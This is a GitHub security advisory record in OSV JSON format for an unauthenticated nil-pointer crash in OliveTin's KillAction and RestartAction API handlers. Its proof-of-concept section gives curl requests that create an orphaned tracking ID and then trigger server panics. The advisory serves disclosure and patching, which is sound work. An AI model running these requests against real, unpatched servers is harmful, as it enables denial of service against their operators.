{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260304225158-bb14c5da3e64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:54:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n     - `service/internal/api/api.go:239`\n\n  2. Executor stores a log entry before binding validation:\n     - `service/internal/executor/executor.go:519`\n\n  3. If binding is nil, execution stops, but the log entry remains:\n     - `service/internal/executor/executor.go:781`\n\n  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n     - `service/internal/api/api.go:79`\n\n  5. `RestartAction` has the same unsafe dereference:\n     - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n  Environment:\n  - OliveTin default single frontend on `http://localhost:1337`\n  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n  1) Create orphan tracking ID with invalid action:\n  ```bash\n  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"actionId\":\"does-not-exist\"}\u0027 \\\n    | sed -n \u0027s/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p\u0027)\n  echo \"$T\"\n\n  2. Trigger panic in RestartAction:\n\n  curl -v -X POST http://localhost:1337/api/RestartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n  3. Trigger panic in KillAction:\n\n  curl -v -X POST http://localhost:1337/api/KillAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n  - curl: (52) Empty reply from server\n\nObserved server log:\n\n  - panic serving ... runtime error: invalid memory address or nil pointer dereference\n  - stack points to:\n      - service/internal/api/api.go:79 (KillAction)\n      - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.",
  "id": "GHSA-fwhj-785h-43hh",
  "modified": "2026-03-05T20:54:25Z",
  "published": "2026-03-05T20:54:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has crash on NPE by calling APIs with invalid bindings or log references"
}